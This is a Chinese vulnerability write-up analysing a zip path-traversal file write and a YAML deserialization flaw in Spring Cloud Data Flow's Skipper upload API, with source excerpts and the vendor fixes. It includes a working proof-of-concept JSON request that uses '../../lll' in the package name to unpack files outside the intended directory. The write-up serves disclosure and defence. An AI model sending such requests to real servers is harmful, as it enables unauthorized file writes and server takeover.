当前位置: 首页 > news >正文

【网络安全】记一次漏洞挖掘

Spring Cloud Data Flow 热点漏洞详细分析

环境搭建
2.10.0 - 2.11.2版本都可以,这里下的2.11.2

源码下载https://github.com/spring-cloud/spring-cloud-dataflow/tree/v2.11.2

在src/docker-compose里面是有docker文件的,使用docker即可

在这里插入图片描述
最近是爆出了两个漏洞的,不过入口都是一样的

任意文件写入

漏洞描述

https://avd.aliyun.com/detail?id=AVD-2024-22263

影响范围:2.10.0 - 2.11.2

Spring Cloud Data Flow(SCDF)是一个基于微服务的工具包,用于在 Cloud Foundry 和 Kubernetes 中构建流式和批量数据处理管道。在受影响版本中,Skipper Server在接收上传请求时对zip文件中的路径校验不严,具有 Skipper Server API 访问权限的攻击者可以通过上传请求将任意文件写入文件系统中的任意位置,从而获得服务器权限。

漏洞分析

我们根据阿里云给出的漏洞通告定位到上传zip文件的地方

来到PackageController.java

@RequestMapping(path = "/upload", method = RequestMethod.POST)
@ResponseStatus(HttpStatus.CREATED)
public EntityModel<PackageMetadata> upload(@RequestBody UploadRequest uploadRequest) {return this.packageMetadataResourceAssembler.toModel(this.packageService.upload(uploadRequest));
}

跟进会来到packageService的upload方法

代码比较长,首先是进入validateUploadRequest(uploadRequest);

点击领取CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部教程

判断请求是否合法,跟进看看

private void validateUploadRequest(UploadRequest uploadRequest) {Assert.notNull(uploadRequest.getRepoName(), "Repo name can not be null");Assert.notNull(uploadRequest.getName(), "Name of package can not be null");Assert.notNull(uploadRequest.getVersion(), "Version can not be null");try {Version.valueOf(uploadRequest.getVersion().trim());}catch (ParseException e) {throw new SkipperException("UploadRequest doesn't have a valid semantic version.  Version = " +uploadRequest.getVersion().trim());}Assert.notNull(uploadRequest.getExtension(), "Extension can not be null");Assert.isTrue(uploadRequest.getExtension().equals("zip"), "Extension must be 'zip', not "+ uploadRequest.getExtension());Assert.notNull(uploadRequest.getPackageFileAsBytes(), "Package file as bytes must not be null");Assert.isTrue(uploadRequest.getPackageFileAsBytes().length != 0, "Package file as bytes must not be empty");PackageMetadata existingPackageMetadata = this.packageMetadataRepository.findByRepositoryNameAndNameAndVersion(uploadRequest.getRepoName().trim(), uploadRequest.getName().trim(), uploadRequest.getVersion().trim());if (existingPackageMetadata != null) {throw new SkipperException(String.format("Failed to upload the package. " + "" +"Package [%s:%s] in Repository [%s] already exists.",uploadRequest.getName(), uploadRequest.getVersion(), uploadRequest.getRepoName().trim()));}
}

首先是对一个属性值的检测,不能为null

然后扩展也就是文件名后缀必须为zip

然后读取数据是通过getPackageFileAsBytes来读取的,根据旁边的报错也知道必须是array型的byte

回到uoplaod方法

来到Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());

跟进方法

private Repository getRepositoryToUpload(String repoName) {Repository localRepositoryToUpload = this.repositoryRepository.findByName(repoName);if (localRepositoryToUpload == null) {throw new SkipperException("Could not find local repository to upload to named " + repoName);}if (!localRepositoryToUpload.isLocal()) {throw new SkipperException("Repository to upload to is not a local database hosted repository.");}return localRepositoryToUpload;
}

可以看到localRepositoryToUpload是必须有值的是从repositoryRepository里面找的

调试发现其中只有一个local,如果不抛出异常,我们的repoName只是为local

回到upload

重点看到

Path packageFile = Paths.get(packageDir.getPath() + File.separator + uploadRequest.getName() + "-"+ uploadRequest.getVersion() + "." + uploadRequest.getExtension());
Assert.isTrue(packageDir.exists(), "Package directory doesn't exist.");
Files.write(packageFile, uploadRequest.getPackageFileAsBytes());
把我们的数据写入到packageFile中,然后进行解压到packageDir下ZipUtil.unpack(packageFile.toFile(), packageDir);

packgdir是没有过滤…/这种目录穿越字符

File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
我们可以解压文件到任意目录下,然后getshell就轻而易举了

漏洞复现

首先我们需要制作一个zip文件,然后测试漏洞存在的话数据其实不重要的,能证明解压到任意目录就ok

新建一个文件,然后压缩为zip文件,之后使用脚本

def zip_to_byte_list(zip_file_path):with open(zip_file_path, 'rb') as file:zip_data = file.read()return [byte for byte in zip_data]zip_file_path = '1.zip'
zip_byte_list = zip_to_byte_list(zip_file_path)
print(zip_byte_list)

转为byte

内容如下

[80, 75, 3, 4, 20, 0, 0, 0, 0, 0, 195, 113, 185, 88, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 49, 46, 116, 120, 116, 80, 75, 1, 2, 20, 0, 20, 0, 0, 0, 0, 0, 195, 113, 185, 88, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 36, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 49, 46, 116, 120, 116, 10, 0, 32, 0, 0, 0, 0, 0, 1, 0, 24, 0, 0, 165, 60, 191, 106, 174, 218, 1, 5, 122, 215, 243, 33, 175, 218, 1, 5, 122, 215, 243, 33, 175, 218, 1, 80, 75, 5, 6, 0, 0, 0, 0, 1, 0, 1, 0, 87, 0, 0, 0, 35, 0, 0, 0, 0, 0]

然后发送请求包,通过name来实现目录穿越

{"repoName":"local","name":"../../lll","version":"1.1.1","extension":"zip","packageFileAsBytes":[80, 75, 3, 4, 20, 0, 0, 0, 0, 0, 195, 113, 185, 88, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 49, 46, 116, 120, 116, 80, 75, 1, 2, 20, 0, 20, 0, 0, 0, 0, 0, 195, 113, 185, 88, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 36, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 49, 46, 116, 120, 116, 10, 0, 32, 0, 0, 0, 0, 0, 1, 0, 24, 0, 0, 165, 60, 191, 106, 174, 218, 1, 5, 122, 215, 243, 33, 175, 218, 1, 5, 122, 215, 243, 33, 175, 218, 1, 80, 75, 5, 6, 0, 0, 0, 0, 1, 0, 1, 0, 87, 0, 0, 0, 35, 0, 0, 0, 0, 0]}

进入lll目录,查找是否有1.txt即可

在这里插入图片描述

漏洞修复

在这里插入图片描述![在这里插

可以看到对路径做了标准化的处理

YAML反序列化

本质上原因和CVE-2024-22263是一样的,都是upload接口造成的危害,只是sink点不一样

漏洞描述

参考https://avd.aliyun.com/detail?id=AVD-2024-37084

Spring Cloud Data Flow(SCDF)是一个基于微服务的工具包,用于在 Cloud Foundry 和 Kubernetes 中构建流式和批量数据处理管道。在受影响版本中Skipper 服务器在处理文件上传时没有对路径进行验证,拥有 Skipper 服务器 API 访问权限攻击者可以通过构造恶意请求将 YAML 文件写入服务器的任意位置,同时由于 PackageMetadata 的创建过程中使用默认构造器反序列化 YAML 数据,从而导致任意代码执行。

漏洞分析

可以看到是yaml反序列化的漏洞,是通过写yaml文件来反序列化的

依然来到/api/package/upload这个接口

漏洞触发点是在DefaultPackageReader的read方法

在upload中

在这里插入图片描述

只要不抛出异常,就会执行read方法

然后isTrue就是判断我们的unzippedPath是否存在,这个path是来自

String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName() + "-" + uploadRequest.getVersion();
如果输入的是lll,拼起来就是lll-1.1.1,但是实际解压的时候我们的就是lll,其实解决办法很简单,就是重新创建一个文件夹,叫做lll-1.1.1就好了

下面才是关键,进入read方法

传入的参数是unpackagedFile,也就是解压后的文件

主要漏洞点出现在

在这里插入图片描述

这里会判断我们的文件名(解压后)是否等于package.yaml或者package.yml

如果等于调用loadPackageMetadata方法去加载

private PackageMetadata loadPackageMetadata(File file) {// The Representer will not try to set the value in the YAML on the// Java object if it isn't present on the objectDumperOptions options = new DumperOptions();Representer representer = new Representer(options);representer.getPropertyUtils().setSkipMissingProperties(true);LoaderOptions loaderOptions = new LoaderOptions();Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);String fileContents = null;try {fileContents = FileUtils.readFileToString(file);}catch (IOException e) {throw new SkipperException("Error reading yaml file", e);}PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);return pkgMetadata;
}

可以看见就是把文件内容读取出来,然后放入yaml.load去反序列化

漏洞修复

使用的yaml是继承自 SnakeYAML 的 SafeConstructor,SafeConstructor 是一个更加安全的 YAML 解析器
在这里插入图片描述

相关文章:

【网络安全】记一次漏洞挖掘

Spring Cloud Data Flow 热点漏洞详细分析 环境搭建 2.10.0 - 2.11.2版本都可以&#xff0c;这里下的2.11.2 源码下载https://github.com/spring-cloud/spring-cloud-dataflow/tree/v2.11.2 在src/docker-compose里面是有docker文件的&#xff0c;使用docker即可 最近是爆出…...

Redis遇到Hash冲突怎么办?

这是小伙伴之前遇到的一个面试题&#xff0c;感觉也是一个经典八股&#xff0c;和大伙分享下。 一 什么是 Hash 冲突 Hash 冲突&#xff0c;也称为 Hash 碰撞&#xff0c;是指不同的关键字通过 Hash 函数计算得到了相同的 Hash 地址。 Hash 冲突在 Hash 表中是不可避免的&am…...

React综合指南(四)

61、描述React事件处理。 为了解决跨浏览器兼容性问题&#xff0c;React中的事件处理程序将传递SyntheticEvent实例&#xff0c;该实例是React跨浏览器本机事件的跨浏览器包装器。这些综合事件具有与您惯用的本机事件相同的界面&#xff0c;除了它们在所有浏览器中的工作方式相…...

Spring集成Redisson及存取几种基本类型数据

目录 一.什么是Redisson 二.为什么要使用Redisson 三.Spring集成Redisson 1.添加依赖 2.添加配置信息 3.添加redisson配置类 四.Redisson存取各种类型数据 1.字符串(String类型) 存储 获取 2.object对象类型 1.实体类信息 2.存储 3.获取 3.List集合类型 第一种…...

Maplibre-gl\Mapbox-gl改造支持对矢量瓦片加密

Maplibre-gl是Mapbox-gl剔除自带地图服务之后的一个分支,代码很相似。Maplibre-gl\Mapbox-gl使用的pbf格式的矢量瓦片,数据量小,渲染效果好。但也存在着信息泄露的风险。但如果想使用这个开发框架的前端渲染效果,还必须要使用这个格式。最近研究了一下如何对矢量瓦片进行加…...

【功能安全】技术安全概念TSC

目录 01 TSC定义 02 TSC注意事项 03 TSC案例 📖 推荐阅读 01 TSC定义 所处位置 TSC:Technical safety concept技术安全概念 TSR:Technical safety requirement技术安全需求 在系统开发阶段属于安全活动4-6 系统层产品开发示例 TSC目的...

Spark数据源的读取与写入、自定义函数

1. 数据源的读取与写入 1.1 数据读取 读文件 read.jsonread.csv csv文件由两个部分组成&#xff1a;头部数据&#xff08;也就是字段数据&#xff09;、行数据。 read.orc 读数据库 read.jdbc(jdbc连接地址,table‘表名’,properties{‘user’用户名,‘password’密码,‘driv…...

LeetCode 每日一题 2024/10/14-2024/10/20

记录了初步解题思路 以及本地实现代码&#xff1b;并不一定为最优 也希望大家能一起探讨 一起进步 目录 10/14 887. 鸡蛋掉落10/15 3200. 三角形的最大高度10/16 3194. 最小元素和最大元素的最小平均值10/17 3193. 统计逆序对的数目10/18 3191. 使二进制数组全部等于 1 的最少操…...

接口测试(六)jmeter——参数化(配置元件 --> 用户定义的变量)

一、jmeter——参数化&#xff08;配置元件 --> 用户定义的变量&#xff09; 注&#xff1a;示例仅供参考 1. 参数化格式&#xff1a;${变量名} 2. 配置元件&#xff1a;用户定义的变量 3. 添加【用户定义的变量】&#xff0c;【线程组】–>【添加】–>【配置元件】–…...

【学习笔记】网络流

背景 马上ICPC了&#xff0c;很惊奇的发现自己没整理网络流的板子。 最大流 dinic 这里选用的是二分图最大匹配的板子&#xff1a;飞行员配对方案问题 #include<bits/stdc.h> #define int long long using namespace std; const int N1e67,inf1e18; struct E {int to…...

【鸡翅Club】项目启动

一、项目背景 这是一个 C端的社区项目&#xff0c;有博客、交流&#xff0c;面试学习&#xff0c;练题等模块。 项目的背景主要是我们想要通过面试题的分类&#xff0c;难度&#xff0c;打标&#xff0c;来评估员工的技术能力。同时在我们公司招聘季的时候&#xff0c;极大的…...

python+大数据+基于热门视频的数据分析研究【内含源码+文档+部署教程】

博主介绍&#xff1a;✌全网粉丝10W,前互联网大厂软件研发、集结硕博英豪成立工作室。专注于计算机相关专业毕业设计项目实战6年之久&#xff0c;选择我们就是选择放心、选择安心毕业✌ &#x1f345;由于篇幅限制&#xff0c;想要获取完整文章或者源码&#xff0c;或者代做&am…...

【电子电力】基于PMU相量测量单元的电力系统状态评估

摘要 相量测量单元&#xff08;PMU&#xff09;作为一种精确且快速的实时监控设备&#xff0c;在电力系统状态评估中发挥了重要作用。本文研究了在没有PMU和部署PMU情况下&#xff0c;电力系统的电压角度和电压幅值估计误差的差异。通过比较实验结果&#xff0c;发现PMU的应用…...

ubuntu修改默认开机模式(图形/终端)

将 Ubuntu 16 系统设置为开机进入终端模式&#xff1a; 打开终端。编辑 Grub 配置文件&#xff1a;sudo nano /etc/default/grub。找到 GRUB_CMDLINE_LINUX_DEFAULT 行&#xff0c;将其修改为 GRUB_CMDLINE_LINUX_DEFAULT"text"。保存并退出编辑器&#xff08;Ctrl …...

LaMI-DETR:基于GPT丰富优化的开放词汇目标检测 | ECCV‘24

现有的方法通过利用视觉-语言模型&#xff08;VLMs&#xff09;&#xff08;如CLIP&#xff09;强大的开放词汇识别能力来增强开放词汇目标检测&#xff0c;然而出现了两个主要挑战&#xff1a;&#xff08;1&#xff09;概念表示不足&#xff0c;CLIP文本空间中的类别名称缺乏…...

AI大模型是否有助于攻克重大疾病?

AI大模型在攻克重大疾病方面展现出了巨大的潜力&#xff0c;特别是在疾病预测、药物研发、个性化医疗等领域有着广泛应用。具体来说&#xff0c;AI大模型能够帮助以下几方面&#xff1a; 1、疾病预测与诊断&#xff1a;AI大模型通过分析海量的医学数据&#xff0c;可以提高重大…...

【渗透测试】-红日靶场-获取web服务器权限

拓扑图&#xff1a; 前置环境配置&#xff1a; Win 7 默认密码&#xff1a;hongrisec201 内网ip:192.168.52.143 打开虚拟网络编辑器 添加网络->VMent1->仅主机模式->子网ip:192.168.145.0 添加网卡&#xff1a; 虚拟机->设置-> 添加->网络适配器 保存&a…...

python 深度学习 项目调试 图像分割 segment-anything

起因&#xff0c; 目的: 项目来源: https://github.com/facebookresearch/segment-anything项目目的: 图像分割。 提前图片中的某个目标。facebook 出品&#xff0c; 居然有 47.3k star! 思考一些问题 我可以用这个项目来做什么?给一个图片&#xff0c; 进行分割&#xff0…...

【GO实战课】第六讲:电子商务网站(6):支付和订单处理

1. 简介 本课程将探讨电子商务网站的支付和订单处理功能,以及使用GO语言实现。在本课程中,我们将介绍如何设计一个可扩展、可靠和高性能的支付和订单处理系统,并演示如何使用GO语言编写相关代码。 本课程的目标是帮助学生理解电子商务网站的支付和订单处理功能,并提供一个…...

专题十三_记忆化搜索_算法专题详细总结

目录 1. 斐波那契数&#xff08;easy&#xff09; 那么这里就画出它的决策树 &#xff1a; 解法一&#xff1a;递归暴搜 解法二&#xff1a;记忆化搜索 解法三&#xff1a;动态规划 1.暴力解法&#xff08;暴搜&#xff09; 2.对优化解法的优化&#xff1a;把已经计算过的…...

已发布金融国家标准目录(截止2024年3月)

已发布金融国家标准目录2024年3月序号标准编号标准名称...

【论文#快速算法】Fast Intermode Decision in H.264/AVC Video Coding

目录 摘要1.前言2.帧间模式决策概览2.1 H.264/AVC中的帧间模式决策2.2 发现和动机 3.同质性和平稳性的确定3.1 同质性区域的确定3.2 稳定性区域的决定3.3 整体算法 4.实验结果4.1 IPPP序列的测试4.2 IBBP序列测试 5.结论 《Fast Intermode Decision in H.264/AVC Video Coding》…...

Git核心概念图例与最常用内容操作(reset、diff、restore、stash、reflog、cherry-pick)

文章目录 简介前置概念.git目录objects目录refs目录HEAD文件 resetreflog 与 reset --hardrevert(撤销指定提交)stashdiff工作区与暂存区差异暂存区与HEAD差异工作区与HEAD差异其他比较 restore、checkout(代码撤回)merge、rebase、cherry-pick 简介 本文将介绍Git几个核心概念…...

【人工智能在医疗企业个人中的应用】

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…...

IPv4头部和IPv6头部

IPv4和IPv6是互联网协议&#xff08;IP&#xff09;中的两个主要版本&#xff0c;它们在数据包头部&#xff08;Header&#xff09;结构上存在显著差异。以下是IPv4头部和IPv6头部的主要结构和区别&#xff1a; IPv4头部结构 IPv4&#xff08;Internet Protocol Version 4&…...

从零开始手把手带你训练LLM保姆级教程,草履虫都能学会!零基础看完这篇就足够了~

导读 ChatGPT面世以来&#xff0c;各种大模型相继出现。那么大模型到底是如何训练的呢&#xff0c;在这篇文章中&#xff0c;我们将尽可能详细地梳理一个完整的 LLM 训练流程&#xff0c;包括模型预训练&#xff08;Pretrain&#xff09;、Tokenizer 训练、指令微调&#xff0…...

strcat函数追加字符串

char * strcat ( char * destination, const char * source ); dest&#xff1a;目标字符串&#xff0c;即要将源字符串追加到其末尾的字符串。src&#xff1a;源字符串&#xff0c;即要追加到目标字符串末尾的字符串 使用strcat函数给目标字符串追加字符时&#xff0c;首先要…...

每月洞察:App Store 和 Google Play 的主要更新

Google Play 和 App Store 的算法不断发展&#xff0c;定期更新和变化会显着影响其功能。对于开发人员和营销人员来说&#xff0c;跟上这些变化至关重要&#xff0c;因为它们会直接影响应用发现和排名。 本文将深入探讨 Google Play 和 App Store 的最新更新&#xff0c;解释它…...

【python openai function2json小工具】

两种方法 一种openai-swarm中提供的、一种langchain实现的 一、openai工具函数调用 import inspectdef merge_chunk(final_response: dict, delta: dict) -> None:delta.pop("role", None)merge_fields(final_response, delta)tool_calls delta.get("tool_…...

super()和super().__init__()的解释

一、super 1.基本概念 在python继承当中&#xff0c;super()函数主要用在子类中调用父类的方法。它返回一个特殊对象&#xff0c;这个对象会帮我们调用父类方法 class Parent:def __init__(self, name):self.name namedef say_hello(self):print(f"Hello, Im {self.nam…...